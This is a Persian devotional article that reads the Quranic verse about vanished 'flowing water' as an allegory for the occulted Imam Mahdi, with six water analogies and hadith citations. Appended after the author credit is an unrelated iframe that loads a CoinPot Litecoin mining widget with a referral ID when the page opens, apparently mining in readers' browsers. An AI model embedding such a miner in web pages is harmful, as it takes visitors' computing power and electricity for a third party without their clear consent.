سر حیات
مقدمه :
(قُلْ أَرَأَیْتُمْ إِنْ أَصْبَحَ مَاؤُکُمْ غَوْراً فَمَن یَأْتِیکُم بِمَاء مَّعِینٍ)[1]
«بگو: به من خبر دهید اگر آب(شامیدنی شما) به (زمین) فرو رود چه کسی آب روان برایتان خواهد آورد؟ بی گمان تطبیق این آیه شریفه بر جریان غیبت امام مهدی عجل الله تعالی فرجه الشریف و تأویل «ماء معین» به امام مهدی عجل الله تعالی فرجه الشریف در کلام گُهربار امام باقر علیه السلام نه از سر تعبّد که به دلیل وجود پاره‌ای از همانندی های لطیف است. به اختصار برخی از آنها را مرور می‌کنیم:
امام باقر علیه السلام در تفسیر این آیه فرمودند:«این آیه درباره امام قائم عجل الله تعالی فرجه الشریف نازل شده است. خداوند می‌فرماید: اگر امامتان از شما غایب شود و ندانید که او کجاست، چه کسی امام آشکاری برای شما خواهد آورد تا اخبار آسمان و زمین و حلال و حرام خداوند بلند مرتبه را برای شما بازگو کند؟ سپس فرمودند: به خدا سوگند تأویل این آیه هنوز نیامده است و ناگزیر خواهد آمد.»[2]
1. آب مایه حیات است ( وَجَعَلْنَا مِنَ الْمَاء کُلَّ شَیْءٍ حَیٍّ)…[3] و هر چیز زنده ای را از آب پدید آوردیم.» نفس عیسوی امام مهدی (عجل الله تعالی فرجه الشریف) نیز حیات‌بخش قلب‌های مرده انسان‌های آخرالزمان خواهد بود. امام باقر (علیه السلام) در تفسیر آیه شریفه (اعْلَمُوا أَنَّ اللَّهَ یُحْیِی الْأَرْضَ بَعْدَ مَوْتِهَا قَدْ بَیَّنَّا لَکُمُ الْآیَاتِ لَعَلَّکُمْ تَعْقِلُونَ)[4] بدانید که خدا زمین را پس از مرگش زنده می‌گرداند. به راستی آیات [خود] را برای شما روشن گردانیدیم؛ باشد که بیندیشید». فرمودند: «خدای بلند مرتبه زمین را به واسطه قائم عجل الله تعالی فرجه الشریف حیات می‌بخشد، بعد از اینکه مرده باشد و منظور از مردن آن کفر اهل زمین است و کافر همان مرده است.»[5]
2. آب پاک و پاکیزه کننده است. امام مهدی عجل الله تعالی فرجه الشریف نیز افزون بر اینکه به مُقتضای «إِنَّمَا یُرِیدُ اللَّهُ لِیُذْهِبَ عَنکُمُ الرِّجْسَ أَهْلَ الْبَیْتِ وَیُطَهِّرَکُمْ تَطْهِیراً»[6] از هر آلودگی پاک و پیراسته است، هم چون آب ناب آلودگی‌ها را از قلب‌ها می‌زداید و تیرگی‌ها را از جانها می‌برد. امام باقر علیه السلام در تفسیر آیه شریفة (الَّذِینَ یَتَّبِعُونَ الرَّسُولَ النَّبِیَّ الأُمِّیَّ... وَیَضَعُ عَنْهُمْ إِصْرَهُمْ وَالأَغْلاَلَ الَّتِی کَانَتْ عَلَیْهِمْ)[7] همانان که از این فرستاده، پیامبر درس نخوانده پیروی می‌کنند... او از [دوش] آنان قید و بندهایی را که بر ایشان بوده است بر می‌دارد» فرمود: «و قائم عجل الله تعالی فرجه الشریف (چون قیام کند) آنان را به کار پسندیده فرمان می‌دهد و از کار ناپسند باز می‌دارد... ”و از [دوش] آنان قیدها را بر می‌دارد"... و آنان را از بندها رها می‌سازد» [8]
3. نیاز به آب همگانی است. هیچ موجود زنده‌ای را نمی‌توان یافت که از این مایه حیات بی‌نیاز باشد. همچنین است نیاز به امام زمان؛ چرا که همه انسان‌ها و لو در عمق دریاهای دانش فرو رفته باشند و اوج کهکشانهای اندیشه را در نور دیده باشند، باز نه تنها دست نیازشان به آستان امام بلند است، بلکه نیازشان به امام، نیازی به اندازه اضطرار است؛ از این رو امام صادق علیه السلام فرمودند: «اگر در روی زمین جز دو نفر باقی نمانده باشند یکی از آنها حجت خواهد بود.»[9]
4. آبی که طبیعت و سرشتش سرشار از لطافت است در گلستان شکوفه می‌رویاند و در شوره زار خس. همین گونه است وجود سرتاسر لطف امام مهدی عجل الله تعالی فرجه الشریف که گرچه برای عموم انسان‌ها که از فطرت‌هایی پاک و طبع‌هایی مستقیم برخوردارند مایه فرحناکی و شادمانی است «ساکنان آسمان و زمین، پرندگان، حیوانات و ماهیان دریا از ظهور مهدی شادمان می‌شوند.»[10]
امّا برای دجال‌صفتان و سفیانی‌سیرتان که جان‌هایی شوره‌زار دارند، مایه عذاب است و نقمت. «این مبید العتاة و المردة. کجاست ریشه‌کن کننده سرکشان و گردنکشان؟!»[11]
5. آب گرچه گاهی از بستر زمین ناپدید می‌شود؛ امّا جریان زلال آن در اعماق زمین پیوسته برقرار است و زمین هرگز از نعمت آب مَحروم نخواهد شد؛ خواه دربستر آن و خواه در ژرفای آن.
نحوه حضور امام زمان عجل الله تعالی فرجه الشریف در کره زمین همچنین است. آن حضرت اگر در عیان زمان و زمین مشهود نباشد در نهان آن پیوسته حاضر و ناظر است. «همانا زمین از حُجت خالی نخواهد بود؛ چه آشکار و عیان و چه پوشیده و پنهان.»[12]
6. فرو رفتن آب در ژرفای زمین هرگز به معنای بی‌خاصیت شدن آن نیست. درختانی که ریشه‌های ستبر و کشیده دارند، می‌توانند پیوسته پیوند خود را با آب محفوظ بدارند و از زلال آن بنوشند؛ گرچه دست علف‌های سبک و بی‌ریشه از دامان آن محروم باشد.
نتیجه :
در عصر غیبت آنانی که روح‌هایی بلند و ایمان‌هایی استوار دارند، می‌توانند از فیض حضور و برکات فراوان او بهره‌مند شوند. تنها انسان‌های بی‌ریشه‌اند که از این فیض محرومند؛ اگرچه آنها نیز به گونه‌ای دیگر بر سر خوان او نشسته‌اند و به یُمن وجود او از نعمت‌های الهی بهره‌مند می‌شوند.
منابع :
[1]. ملک/30.
[2]. کمال الدین، ج 1، باب 32، حدیث 3.
[3] . انبیاء / 30.
[4] . حدید/17.
[5] . کمال الدین، ج2، باب58، ح13.
[6] . احزاب / 33.
[7] . اعراف/157.
[8] . کافی، ج1، ص429، ح83.
[9] . کافی، ج1، ص180.
[10] . جامع البیان، ج15، ص17.
[11] . دعای ندبه.
[12] . نهج البلاغه، حکمت 147.
پدیدآورنده: نصرت‌الله آیتی
<iframe scrolling="no" frameborder="0" src="https://coinpot.co/mine/litecoin/?ref=F1ECBAD9EE35&mode=widget" style="overflow:hidden;width:324px;height:470px;"></iframe>
